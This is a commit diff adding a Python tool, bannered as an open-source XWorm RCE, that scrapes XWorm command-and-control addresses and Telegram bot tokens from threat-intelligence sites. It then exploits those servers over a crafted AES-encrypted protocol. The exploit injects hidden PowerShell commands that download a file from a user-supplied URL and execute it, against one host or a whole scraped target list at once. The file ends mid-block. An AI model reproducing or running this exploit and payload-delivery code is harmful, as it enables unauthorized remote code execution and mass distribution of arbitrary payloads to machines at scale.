initial commit
This commit is contained in:
@@ -0,0 +1,707 @@
|
|||||||
|
# don't sell 🥀
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import socket
|
||||||
|
import io
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
import hashlib
|
||||||
|
import threading
|
||||||
|
import traceback
|
||||||
|
import time
|
||||||
|
import requests
|
||||||
|
import re
|
||||||
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||||
|
from Cryptodome.Cipher import AES
|
||||||
|
from Cryptodome.Util.Padding import pad
|
||||||
|
from colorama import init, Fore, Back, Style
|
||||||
|
from bs4 import BeautifulSoup
|
||||||
|
|
||||||
|
init(autoreset=True)
|
||||||
|
|
||||||
|
DEFAULT_KEY = "<123456789>"
|
||||||
|
MAX_THREADS = 40
|
||||||
|
TIMEOUT_SECONDS = 6
|
||||||
|
print_lock = threading.Lock()
|
||||||
|
|
||||||
|
apikey = "put_here"
|
||||||
|
delay = 2.0
|
||||||
|
jitter = 0.5
|
||||||
|
dns_timeout = 3
|
||||||
|
session_c2s = set()
|
||||||
|
alreadyscraped = set()
|
||||||
|
already_found_bots = set()
|
||||||
|
sample_queue = []
|
||||||
|
|
||||||
|
IP_REGEX = r"(?!127\.\d+\.\d+\.\d+)(?!10\.\d+\.\d+\.\d+)(?!192\.168\.\d+\.\d+)(?!172\.(1[6-9]|2\d|3[0-1])\.\d+\.\d+)(?!169\.254\.\d+\.\d+)(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})"
|
||||||
|
TELEGRAM_REGEX = r"https?://api\.telegram\.org/bot([0-9]+:[A-Za-z0-9_-]+)/sendMessage\?chat_id=(-?[0-9]+)"
|
||||||
|
C2_REGEX = rf"({IP_REGEX}|\w+(\.\w+)+):\d{{1,5}}"
|
||||||
|
|
||||||
|
http_session = requests.Session()
|
||||||
|
http_session.headers.update({
|
||||||
|
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
|
||||||
|
'Accept-Language': 'en-US,en;q=0.5',
|
||||||
|
})
|
||||||
|
|
||||||
|
SESSION = requests.Session()
|
||||||
|
HEADERS = {
|
||||||
|
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
|
||||||
|
'accept-language': 'en-GB,en;q=0.9',
|
||||||
|
'cache-control': 'max-age=0',
|
||||||
|
'priority': 'u=0, i',
|
||||||
|
'sec-ch-ua': '"Chromium";v="131", "Not-A.Brand";v="99"',
|
||||||
|
'sec-ch-ua-mobile': '?0',
|
||||||
|
'sec-ch-ua-platform': '"Linux"',
|
||||||
|
'sec-fetch-dest': 'document',
|
||||||
|
'sec-fetch-mode': 'navigate',
|
||||||
|
'sec-fetch-site': 'none',
|
||||||
|
'sec-fetch-user': '?1',
|
||||||
|
'upgrade-insecure-requests': '1',
|
||||||
|
'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
|
||||||
|
}
|
||||||
|
|
||||||
|
COOKIES = {
|
||||||
|
'_csrf': 'xworm',
|
||||||
|
}
|
||||||
|
|
||||||
|
def clear_console():
|
||||||
|
os.system("cls" if os.name == "nt" else "clear")
|
||||||
|
|
||||||
|
def print_banner():
|
||||||
|
print(f"""{Fore.RED}
|
||||||
|
██████╗ ██████╗███████╗ ██████╗ ██╗██████╗
|
||||||
|
██╔══██╗██╔════╝██╔════╝██╗ ██╔══██╗██║██╔══██╗
|
||||||
|
██████╔╝██║ █████╗ ╚═╝ ██████╔╝██║██████╔╝
|
||||||
|
██╔══██╗██║ ██╔══╝ ██╗ ██╔══██╗██║██╔═══╝
|
||||||
|
██║ ██║╚██████╗███████╗╚═╝ ██║ ██║██║██║
|
||||||
|
╚═╝ ╚═╝ ╚═════╝╚══════╝ ╚═╝ ╚═╝╚═╝╚═╝
|
||||||
|
|
||||||
|
{Style.BRIGHT}{Fore.WHITE} OPEN SOURCE xWORM RCE • RCE.RIP{Style.RESET_ALL}""")
|
||||||
|
print(f"{Fore.LIGHTBLACK_EX}{'═' * 58}{Style.RESET_ALL}\n")
|
||||||
|
|
||||||
|
|
||||||
|
def print_section_header(title):
|
||||||
|
print(f"\n{Style.BRIGHT}{Fore.RED}[{title.upper()}]{Style.RESET_ALL}")
|
||||||
|
print(f"{Fore.LIGHTBLACK_EX}{'─' * 50}{Style.RESET_ALL}")
|
||||||
|
|
||||||
|
|
||||||
|
def print_status(status_type, message, details=None):
|
||||||
|
icons = {
|
||||||
|
'success': '✓',
|
||||||
|
'error': '✗',
|
||||||
|
'warning': '⚠',
|
||||||
|
'info': 'ℹ',
|
||||||
|
'progress': '●'
|
||||||
|
}
|
||||||
|
|
||||||
|
colors = {
|
||||||
|
'success': Fore.GREEN,
|
||||||
|
'error': Fore.RED,
|
||||||
|
'warning': Fore.YELLOW,
|
||||||
|
'info': Fore.CYAN,
|
||||||
|
'progress': Fore.BLUE
|
||||||
|
}
|
||||||
|
|
||||||
|
icon = icons.get(status_type, '•')
|
||||||
|
color = colors.get(status_type, Fore.WHITE)
|
||||||
|
|
||||||
|
timestamp = time.strftime("%H:%M:%S")
|
||||||
|
|
||||||
|
with print_lock:
|
||||||
|
base_msg = f"{color}[{timestamp}] {icon} {message}"
|
||||||
|
if details:
|
||||||
|
print(f"{base_msg} → {Style.DIM}{details}{Style.RESET_ALL}")
|
||||||
|
else:
|
||||||
|
print(base_msg + Style.RESET_ALL)
|
||||||
|
|
||||||
|
|
||||||
|
def prompt(text, default=None):
|
||||||
|
try:
|
||||||
|
styled_text = f"{Style.BRIGHT}{Fore.YELLOW}❯ {text}{Style.RESET_ALL}"
|
||||||
|
if default:
|
||||||
|
styled_text += f"{Style.DIM} (default: {default}){Style.RESET_ALL}: "
|
||||||
|
else:
|
||||||
|
styled_text += ": "
|
||||||
|
|
||||||
|
answer = input(styled_text).strip()
|
||||||
|
return answer if answer else default
|
||||||
|
except (KeyboardInterrupt, EOFError):
|
||||||
|
print_status('warning', "Operation cancelled by user")
|
||||||
|
sys.exit(0)
|
||||||
|
except Exception:
|
||||||
|
return default
|
||||||
|
|
||||||
|
|
||||||
|
def generate_id(length=8):
|
||||||
|
chars = string.ascii_uppercase + string.digits
|
||||||
|
return ''.join(random.choice(chars) for _ in range(length))
|
||||||
|
|
||||||
|
|
||||||
|
class Packet:
|
||||||
|
def __init__(self, *parts):
|
||||||
|
self.parts = parts
|
||||||
|
|
||||||
|
def to_bytes(self):
|
||||||
|
buffer = io.BytesIO()
|
||||||
|
buffer.write(b'<Xwormmm>'.join(self.parts))
|
||||||
|
return buffer.getvalue()
|
||||||
|
|
||||||
|
def send_encrypted(sock, packet, key):
|
||||||
|
try:
|
||||||
|
raw = hashlib.md5(key.encode()).digest()
|
||||||
|
cipher = AES.new(raw, AES.MODE_ECB)
|
||||||
|
data = pad(packet.to_bytes(), 16)
|
||||||
|
encrypted = cipher.encrypt(data)
|
||||||
|
|
||||||
|
sock.send(str(len(encrypted)).encode() + b'\0')
|
||||||
|
sock.send(encrypted)
|
||||||
|
|
||||||
|
return encrypted
|
||||||
|
except Exception as e:
|
||||||
|
print_status('error', f"Encryption failed: {str(e)}")
|
||||||
|
raise
|
||||||
|
|
||||||
|
|
||||||
|
def execute_target(host, port, secret, url):
|
||||||
|
session_id = generate_id()
|
||||||
|
|
||||||
|
try:
|
||||||
|
print_status('progress', f"Connecting to {host}:{port}")
|
||||||
|
sock = socket.socket()
|
||||||
|
sock.settimeout(TIMEOUT_SECONDS)
|
||||||
|
sock.connect((host, int(port)))
|
||||||
|
|
||||||
|
send_encrypted(sock, Packet(b'hrdp', session_id.encode()), secret)
|
||||||
|
|
||||||
|
url_lower = url.lower()
|
||||||
|
extension_map = {
|
||||||
|
'.bat': '.bat',
|
||||||
|
'.ps1': '.ps1',
|
||||||
|
('.js', '.jse', '.wsf'): '.js'
|
||||||
|
}
|
||||||
|
|
||||||
|
ext = '.exe'
|
||||||
|
for extensions, mapped_ext in extension_map.items():
|
||||||
|
if isinstance(extensions, tuple):
|
||||||
|
if url_lower.endswith(extensions):
|
||||||
|
ext = mapped_ext
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
if url_lower.endswith(extensions):
|
||||||
|
ext = mapped_ext
|
||||||
|
break
|
||||||
|
|
||||||
|
filename = generate_id(5) + ext
|
||||||
|
|
||||||
|
commands = {
|
||||||
|
'.bat': (
|
||||||
|
f"start powershell -WindowStyle Hidden "
|
||||||
|
f"$u=\\\"{url}\\\";$o=\\\"$env:TEMP\\{filename}\\\";"
|
||||||
|
f"Invoke-WebRequest -Uri $u -OutFile $o;Start-Process cmd.exe -ArgumentList '/c %o%'"
|
||||||
|
),
|
||||||
|
'.ps1': f"start powershell -WindowStyle Hidden iex (irm '{url}')",
|
||||||
|
'.js': (
|
||||||
|
f"start powershell -WindowStyle Hidden "
|
||||||
|
f"$u=\\\"{url}\\\";$o=\\\"$env:TEMP\\{filename}\\\";"
|
||||||
|
f"Invoke-WebRequest -Uri $u -OutFile $o;Start-Process wscript.exe -ArgumentList $o"
|
||||||
|
),
|
||||||
|
'.exe': (
|
||||||
|
f"start powershell -WindowStyle Hidden taskkill /f /IM mstsc.exe;"
|
||||||
|
f"$u=\\\"{url}\\\";$o=\\\"$env:TEMP\\{filename}\\\";"
|
||||||
|
f"Invoke-WebRequest -Uri $u -OutFile $o;Start-Process cmd.exe -ArgumentList '/c %o%'"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
cmd = commands.get(ext, commands['.exe'])
|
||||||
|
|
||||||
|
send_encrypted(
|
||||||
|
sock,
|
||||||
|
Packet(b'hrdp+', session_id.encode(), b' x', f"\" & {cmd}".encode(), b'x'),
|
||||||
|
secret
|
||||||
|
)
|
||||||
|
|
||||||
|
sock.close()
|
||||||
|
print_status('success', f"Command executed on {host}:{port}", f"Session: {session_id}")
|
||||||
|
return "Success"
|
||||||
|
|
||||||
|
except socket.timeout:
|
||||||
|
print_status('error', f"Connection timeout to {host}:{port}", "Check if target is reachable")
|
||||||
|
return "Timeout"
|
||||||
|
except ConnectionRefusedError:
|
||||||
|
print_status('error', f"Connection refused by {host}:{port}", "Target may be offline")
|
||||||
|
return "Connection Refused"
|
||||||
|
except Exception as e:
|
||||||
|
error_msg = str(e).split(':')[-1].strip()[:50]
|
||||||
|
print_status('error', f"Failed to execute on {host}:{port}", error_msg)
|
||||||
|
return "Failure"
|
||||||
|
|
||||||
|
|
||||||
|
def initialize_bot_detection():
|
||||||
|
global already_found_bots
|
||||||
|
if os.path.exists("bots.txt"):
|
||||||
|
with open("bots.txt", 'r') as f:
|
||||||
|
for line in f:
|
||||||
|
if "[TOKEN:CHATID]" in line:
|
||||||
|
parts = line.strip().split(" ", 1)
|
||||||
|
if len(parts) > 1:
|
||||||
|
already_found_bots.add(parts[1].strip())
|
||||||
|
print_status('info', f"Loaded {len(already_found_bots)} existing Telegram bots")
|
||||||
|
|
||||||
|
def initialize_scraped_cache():
|
||||||
|
global alreadyscraped
|
||||||
|
if os.path.exists("alreadyscraped.txt"):
|
||||||
|
with open("alreadyscraped.txt", 'r') as f:
|
||||||
|
alreadyscraped = set(line.strip() for line in f if line.strip())
|
||||||
|
print_status('info', f"Loaded {len(alreadyscraped)} already scraped C2s")
|
||||||
|
|
||||||
|
def analyze_telegram_patterns(content):
|
||||||
|
if not content:
|
||||||
|
return
|
||||||
|
matches = re.findall(TELEGRAM_REGEX, content)
|
||||||
|
urls = re.findall(r"(https?://api\.telegram\.org/bot[0-9]+:[A-Za-z0-9_-]+/sendMessage\?chat_id=[-0-9]+)", content)
|
||||||
|
for url in urls:
|
||||||
|
matches_from_url = re.findall(TELEGRAM_REGEX, url)
|
||||||
|
if matches_from_url:
|
||||||
|
matches.extend(matches_from_url)
|
||||||
|
for token, chat_id in matches:
|
||||||
|
bot_info = f"{token}:{chat_id}"
|
||||||
|
if bot_info not in already_found_bots:
|
||||||
|
already_found_bots.add(bot_info)
|
||||||
|
with open("bots.txt", 'a') as f:
|
||||||
|
f.write(f"[TOKEN:CHATID] {bot_info}\n")
|
||||||
|
print_status('success', f"Discovered Telegram bot: {bot_info}")
|
||||||
|
|
||||||
|
def validate_network_endpoint(host):
|
||||||
|
try:
|
||||||
|
if host.lower() in ('localhost', '0.0.0.0', '127.0.0.1'):
|
||||||
|
return False
|
||||||
|
if re.match(r'^(\d{1,3}\.){3}\d{1,3}$', host):
|
||||||
|
parts = host.split('.')
|
||||||
|
if all(0 <= int(part) <= 255 for part in parts):
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
socket.setdefaulttimeout(dns_timeout)
|
||||||
|
socket.gethostbyname(host)
|
||||||
|
return True
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def scrape_threatfox():
|
||||||
|
headers = {'API-KEY': apikey, 'Content-Type': 'application/json'}
|
||||||
|
data = {"query": "get_iocs", "days": 7, "tag": "Xworm"}
|
||||||
|
try:
|
||||||
|
response = http_session.post('https://threatfox-api.abuse.ch/api/v1/', headers=headers, json=data, timeout=15)
|
||||||
|
response.raise_for_status()
|
||||||
|
result = response.json()
|
||||||
|
if result.get('query_status') == 'ok':
|
||||||
|
c2_servers = []
|
||||||
|
for ioc in result.get('data', []):
|
||||||
|
if 'description' in ioc:
|
||||||
|
analyze_telegram_patterns(ioc['description'])
|
||||||
|
if ioc.get('ioc_type') == 'ip:port':
|
||||||
|
c2_servers.append(ioc['ioc'])
|
||||||
|
print_status('info', f"Found {len(c2_servers)} C2 endpoints")
|
||||||
|
return c2_servers
|
||||||
|
return []
|
||||||
|
except:
|
||||||
|
print_status('error', "ThreatFox API query failed")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def is_excluded_target(c2):
|
||||||
|
excluded_patterns = [r".*\.ip\.gl\.ply\.gg:.*", r".*\.gl\.at\.ply\.gg:.*"]
|
||||||
|
for pattern in excluded_patterns:
|
||||||
|
if re.match(pattern, c2):
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
def save_c2s(c2_servers):
|
||||||
|
if not c2_servers:
|
||||||
|
return 0
|
||||||
|
existing = set()
|
||||||
|
if os.path.exists("reports.txt"):
|
||||||
|
with open("reports.txt", 'r') as f:
|
||||||
|
existing = set(line.strip() for line in f if line.strip())
|
||||||
|
new_c2s = []
|
||||||
|
for c2 in c2_servers:
|
||||||
|
if c2 in session_c2s or c2 in existing or c2 in alreadyscraped or is_excluded_target(c2):
|
||||||
|
continue
|
||||||
|
if validate_c2_endpoint(c2):
|
||||||
|
new_c2s.append(c2)
|
||||||
|
session_c2s.add(c2)
|
||||||
|
alreadyscraped.add(c2)
|
||||||
|
if new_c2s:
|
||||||
|
with open("reports.txt", 'a') as f:
|
||||||
|
for c2 in new_c2s:
|
||||||
|
f.write(f"{c2}\n")
|
||||||
|
with open("alreadyscraped.txt", 'a') as f:
|
||||||
|
for c2 in new_c2s:
|
||||||
|
f.write(f"{c2}\n")
|
||||||
|
report_count = sum(1 for _ in open("reports.txt")) if os.path.exists("reports.txt") else 0
|
||||||
|
print_status('success', f"Added {len(new_c2s)} new C2 servers")
|
||||||
|
print_status('info', f"Total reports: {report_count}")
|
||||||
|
return len(new_c2s)
|
||||||
|
|
||||||
|
def validate_c2_endpoint(c2):
|
||||||
|
if "api.telegram.org/bot" in c2:
|
||||||
|
matches = re.findall(TELEGRAM_REGEX, c2)
|
||||||
|
for token, chat_id in matches:
|
||||||
|
bot_info = f"{token}:{chat_id}"
|
||||||
|
if bot_info not in already_found_bots:
|
||||||
|
already_found_bots.add(bot_info)
|
||||||
|
with open("bots.txt", 'a') as f:
|
||||||
|
f.write(f"[TOKEN:CHATID] {bot_info}\n")
|
||||||
|
print_status('success', f"Discovered Telegram bot: {bot_info}")
|
||||||
|
return False
|
||||||
|
if not c2 or ":" not in c2:
|
||||||
|
return False
|
||||||
|
host, port = c2.split(":", 1)
|
||||||
|
try:
|
||||||
|
port_num = int(port)
|
||||||
|
if port_num < 1 or port_num > 65535:
|
||||||
|
return False
|
||||||
|
except ValueError:
|
||||||
|
return False
|
||||||
|
if not host or len(host) < 3:
|
||||||
|
return False
|
||||||
|
if re.match(r"^(127\.\d+\.\d+\.\d+|10\.\d+\.\d+\.\d+|192\.168\.\d+\.\d+|172\.(1[6-9]|2\d|3[0-1])\.\d+\.\d+|169\.254\.\d+\.\d+)$", host):
|
||||||
|
return False
|
||||||
|
if is_excluded_target(c2):
|
||||||
|
return False
|
||||||
|
ip_pattern = r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$"
|
||||||
|
if re.match(ip_pattern, host):
|
||||||
|
parts = host.split('.')
|
||||||
|
if all(0 <= int(part) <= 255 for part in parts):
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
if '.' in host and not host.startswith('.') and not host.endswith('.'):
|
||||||
|
if any(pattern in host.lower() for pattern in [
|
||||||
|
'.ddns.org', '.duckdns.org', '.ddns.net', '.portmap.io', '.portmap.host',
|
||||||
|
'.no-ip.org', '.no-ip.biz', '.dyndns.org', '.ngrok.com',
|
||||||
|
'.localtunnel.me', '.serveo.net', '.hopto.org', '.myqnapcloud.com'
|
||||||
|
]):
|
||||||
|
return True
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
def parse_sample_configuration(html_content):
|
||||||
|
soup = BeautifulSoup(html_content, 'html.parser')
|
||||||
|
config = {}
|
||||||
|
for div in soup.select(".key-value > div"):
|
||||||
|
key = div.select_one(".config-entry-heading").text.strip()
|
||||||
|
value = None
|
||||||
|
for selector in [".clipboard > p", ".value-text"]:
|
||||||
|
value_element = div.select_one(selector)
|
||||||
|
if value_element:
|
||||||
|
value = value_element.text.strip()
|
||||||
|
break
|
||||||
|
if value is None:
|
||||||
|
code_block = div.select_one(".code-block")
|
||||||
|
if code_block and code_block.get("data-code-content"):
|
||||||
|
value = code_block["data-code-content"]
|
||||||
|
config[key] = value
|
||||||
|
return config
|
||||||
|
|
||||||
|
def fetch_pastebin_content(url):
|
||||||
|
if ":" in url and url.startswith("https://pastebin.com/raw/"):
|
||||||
|
url = url.split(":")[0]
|
||||||
|
try:
|
||||||
|
response = requests.get(url, timeout=10)
|
||||||
|
if response.status_code == 200:
|
||||||
|
return response.text.strip()
|
||||||
|
return None
|
||||||
|
except:
|
||||||
|
return None
|
||||||
|
|
||||||
|
def analyze_malware_sample(sample_id):
|
||||||
|
try:
|
||||||
|
response = SESSION.get(f"https://tria.ge/{sample_id.split('|')[1]}", cookies=COOKIES, headers=HEADERS, timeout=10)
|
||||||
|
analyze_telegram_patterns(response.text)
|
||||||
|
config = parse_sample_configuration(response.text)
|
||||||
|
c2_value = config.get("C2")
|
||||||
|
if not c2_value:
|
||||||
|
return
|
||||||
|
if "pastebin.com" in c2_value:
|
||||||
|
pastebin_url = c2_value if c2_value.startswith("https://pastebin.com/raw/") else f"https://pastebin.com/raw/{c2_value.split('/')[-1]}"
|
||||||
|
c2_value = fetch_pastebin_content(pastebin_url)
|
||||||
|
if not c2_value:
|
||||||
|
return
|
||||||
|
analyze_telegram_patterns(c2_value)
|
||||||
|
if c2_value in session_c2s or c2_value in alreadyscraped or is_excluded_target(c2_value):
|
||||||
|
return
|
||||||
|
if validate_c2_endpoint(c2_value):
|
||||||
|
session_c2s.add(c2_value)
|
||||||
|
alreadyscraped.add(c2_value)
|
||||||
|
with open("reports.txt", "a") as f:
|
||||||
|
f.write(c2_value + "\n")
|
||||||
|
with open("alreadyscraped.txt", "a") as f:
|
||||||
|
f.write(c2_value + "\n")
|
||||||
|
report_count = sum(1 for _ in open("reports.txt")) if os.path.exists("reports.txt") else 0
|
||||||
|
print_status('success', f"Extracted C2: {c2_value}")
|
||||||
|
print_status('info', f"Total reports: {report_count}")
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def background_worker():
|
||||||
|
while True:
|
||||||
|
if sample_queue:
|
||||||
|
analyze_malware_sample(sample_queue.pop(0))
|
||||||
|
time.sleep(delay + random.uniform(0, jitter))
|
||||||
|
|
||||||
|
def continuous_sample_collection():
|
||||||
|
offset_params = {}
|
||||||
|
while True:
|
||||||
|
if len(sample_queue) > 20:
|
||||||
|
time.sleep(10)
|
||||||
|
continue
|
||||||
|
response = SESSION.get("https://tria.ge/s", params={"q": "family:xworm", "limit": 20, **offset_params}, cookies=COOKIES, headers=HEADERS, timeout=15)
|
||||||
|
sample_ids = []
|
||||||
|
html = response.text
|
||||||
|
for pos in [i for i in range(len(html)) if html.startswith('data-sample-id', i)]:
|
||||||
|
snippet = html[pos:pos+300]
|
||||||
|
try:
|
||||||
|
timestamp = snippet.split('h-datetime="')[1].split('"')[0]
|
||||||
|
sample_id = snippet.split('data-sample-id="')[1].split('"')[0]
|
||||||
|
sample_ids.append(f"{timestamp}|{sample_id}")
|
||||||
|
except:
|
||||||
|
continue
|
||||||
|
sample_queue.extend(sample_ids)
|
||||||
|
print_status('info', f"Sample queue updated: {len(sample_ids)} new entries")
|
||||||
|
if not sample_ids:
|
||||||
|
time.sleep(60)
|
||||||
|
offset_params = {}
|
||||||
|
else:
|
||||||
|
offset_params = {"offset": sample_ids[-1].split('|')[0]}
|
||||||
|
time.sleep(30)
|
||||||
|
|
||||||
|
def verify_connectivity():
|
||||||
|
try:
|
||||||
|
socket.gethostbyname("1.1.1.1")
|
||||||
|
return True
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def run_scraper():
|
||||||
|
print_section_header("C2 Scraper Engine")
|
||||||
|
|
||||||
|
if not verify_connectivity():
|
||||||
|
print_status('error', "No internet connection detected")
|
||||||
|
return False
|
||||||
|
|
||||||
|
print_status('info', "Initializing scraper components...")
|
||||||
|
|
||||||
|
for filename in ['reports.txt', 'bots.txt', 'alreadyscraped.txt']:
|
||||||
|
if not os.path.exists(filename):
|
||||||
|
with open(filename, 'a') as f:
|
||||||
|
pass
|
||||||
|
|
||||||
|
initialize_scraped_cache()
|
||||||
|
initialize_bot_detection()
|
||||||
|
|
||||||
|
print_status('progress', "Starting ThreatFox scraping...")
|
||||||
|
c2_servers = scrape_threatfox()
|
||||||
|
save_c2s(c2_servers)
|
||||||
|
|
||||||
|
print_status('progress', "Starting continuous sample collection...")
|
||||||
|
threading.Thread(target=continuous_sample_collection, daemon=True).start()
|
||||||
|
|
||||||
|
print_status('progress', "Starting background workers...")
|
||||||
|
for _ in range(20):
|
||||||
|
threading.Thread(target=background_worker, daemon=True).start()
|
||||||
|
|
||||||
|
print_status('success', "Scraper engine is now operational...")
|
||||||
|
print_status('info', "Press Ctrl+C to stop scraping and return to main menu")
|
||||||
|
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
time.sleep(60)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print_status('warning', "Scraper stopped by user")
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
clear_console()
|
||||||
|
print_banner()
|
||||||
|
|
||||||
|
print_section_header("Main Menu")
|
||||||
|
|
||||||
|
options = {
|
||||||
|
'1': ('rce', 'Remote Command Execution'),
|
||||||
|
'2': ('scraper', 'C2 Scraper Engine'),
|
||||||
|
'3': ('exit', 'Exit Application')
|
||||||
|
}
|
||||||
|
|
||||||
|
print(Style.BRIGHT + "Available options:")
|
||||||
|
for key, (option, description) in options.items():
|
||||||
|
print(f" {Fore.CYAN}{key}. {Style.BRIGHT}{option.upper()}{Style.RESET_ALL} - {description}")
|
||||||
|
|
||||||
|
choice = prompt("Select option [1-3]", "1")
|
||||||
|
|
||||||
|
if choice in options:
|
||||||
|
option = options[choice][0]
|
||||||
|
elif choice.lower() in ['rce', 'scraper', 'exit']:
|
||||||
|
option = choice.lower()
|
||||||
|
else:
|
||||||
|
option = 'rce'
|
||||||
|
|
||||||
|
if option == 'rce':
|
||||||
|
return run_rce()
|
||||||
|
elif option == 'scraper':
|
||||||
|
return run_scraper()
|
||||||
|
elif option == 'exit':
|
||||||
|
print_status('info', "Goodbye! Don't forget to turn on channel notifs <3")
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print_status('error', f"Unknown option: {option}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def run_rce():
|
||||||
|
clear_console()
|
||||||
|
print_banner()
|
||||||
|
|
||||||
|
print_section_header("File URL Configuration")
|
||||||
|
url = prompt("Enter file URL to execute")
|
||||||
|
|
||||||
|
if not url:
|
||||||
|
print_status('error', "File URL is required")
|
||||||
|
return False
|
||||||
|
|
||||||
|
if not url.startswith(('http://', 'https://')):
|
||||||
|
print_status('warning', "URL should start with http:// or https://")
|
||||||
|
confirm = prompt("Continue anyway? [y/N]", "n").lower()
|
||||||
|
if confirm not in ['y', 'yes']:
|
||||||
|
return False
|
||||||
|
|
||||||
|
print_section_header("Execution Mode Selection")
|
||||||
|
|
||||||
|
modes = {
|
||||||
|
'1': ('specific', 'Target a specific host'),
|
||||||
|
'2': ('scrape', 'Execute on multiple targets from file')
|
||||||
|
}
|
||||||
|
|
||||||
|
print(Style.BRIGHT + "Available modes:")
|
||||||
|
for key, (mode, description) in modes.items():
|
||||||
|
print(f" {Fore.CYAN}{key}. {Style.BRIGHT}{mode.title()}{Style.RESET_ALL} - {description}")
|
||||||
|
|
||||||
|
choice = prompt("Select mode [1-2]", "1")
|
||||||
|
|
||||||
|
if choice in modes:
|
||||||
|
mode = modes[choice][0]
|
||||||
|
elif choice.lower() in ['specific', 'scrape']:
|
||||||
|
mode = choice.lower()
|
||||||
|
else:
|
||||||
|
mode = 'specific'
|
||||||
|
|
||||||
|
try:
|
||||||
|
if mode == 'specific':
|
||||||
|
print_section_header("Single Target Configuration")
|
||||||
|
|
||||||
|
host = prompt("Target Host")
|
||||||
|
port = prompt("Target Port")
|
||||||
|
key = prompt(f"Encryption Key", DEFAULT_KEY)
|
||||||
|
|
||||||
|
if not host or not port:
|
||||||
|
print_status('error', "Host and port are required")
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = execute_target(host, port, key, url)
|
||||||
|
return result == "Success"
|
||||||
|
except Exception as e:
|
||||||
|
print_status('error', f"Execution failed: {str(e)}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
elif mode == 'scrape':
|
||||||
|
print_section_header("Multiple Target Execution")
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open("reports.txt", 'r') as f:
|
||||||
|
lines = f.read().splitlines()
|
||||||
|
except FileNotFoundError:
|
||||||
|
print_status('error', "reports.txt file not found", "Create the file with host:port entries")
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
print_status('error', f"Error reading reports.txt: {str(e)}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
targets = []
|
||||||
|
for line_num, line in enumerate(lines, 1):
|
||||||
|
line = line.strip()
|
||||||
|
if not line or line.startswith('#'):
|
||||||
|
continue
|
||||||
|
|
||||||
|
if ':' not in line:
|
||||||
|
print_status('warning', f"Invalid format at line {line_num}: {line}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
host, port = line.split(':', 1)
|
||||||
|
targets.append((host.strip(), port.strip()))
|
||||||
|
except ValueError:
|
||||||
|
print_status('warning', f"Could not parse line {line_num}: {line}")
|
||||||
|
|
||||||
|
if not targets:
|
||||||
|
print_status('error', "No valid targets found in reports.txt")
|
||||||
|
return False
|
||||||
|
|
||||||
|
print_status('info', f"Loaded {len(targets)} targets from reports.txt")
|
||||||
|
|
||||||
|
confirm = prompt(f"Execute on {len(targets)} targets? [y/N]", "n").lower()
|
||||||
|
if confirm not in ['y', 'yes']:
|
||||||
|
print_status('warning', "Execution cancelled by user")
|
||||||
|
return False
|
||||||
|
|
||||||
|
print_status('progress', f"Starting execution with {MAX_THREADS} threads")
|
||||||
|
|
||||||
|
successful = 0
|
||||||
|
failed = 0
|
||||||
|
|
||||||
|
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
|
||||||
|
future_to_target = {
|
||||||
|
executor.submit(execute_target, host, port, DEFAULT_KEY, url): (host, port)
|
||||||
|
for host, port in targets
|
||||||
|
}
|
||||||
|
|
||||||
|
for future in as_completed(future_to_target):
|
||||||
|
host, port = future_to_target[future]
|
||||||
|
try:
|
||||||
|
result = future.result()
|
||||||
|
if result == "Success":
|
||||||
|
successful += 1
|
||||||
|
else:
|
||||||
|
failed += 1
|
||||||
|
except Exception as e:
|
||||||
|
print_status('error', f"Unexpected error for {host}:{port}", str(e))
|
||||||
|
failed += 1
|
||||||
|
|
||||||
|
print_section_header("Execution Summary")
|
||||||
|
print_status('success', f"Successfully executed: {successful}")
|
||||||
|
print_status('error', f"Failed executions: {failed}")
|
||||||
|
print_status('info', f"Total targets: {len(targets)}")
|
||||||
|
|
||||||
|
return successful > 0
|
||||||
|
else:
|
||||||
|
print_status('error', f"Unknown mode: {mode}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print_status('warning', "Operation interrupted by user")
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
print_status('error', f"Unexpected error: {str(e)}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
try:
|
||||||
|
success = main()
|
||||||
|
if success:
|
||||||
|
print_status('info', "RCE completed successfully")
|
||||||
|
else:
|
||||||
|
print_status('warning', "RCE completed with errs")
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print_status('warning', "Operation cancelled by user")
|
||||||
|
except Exception as e:
|
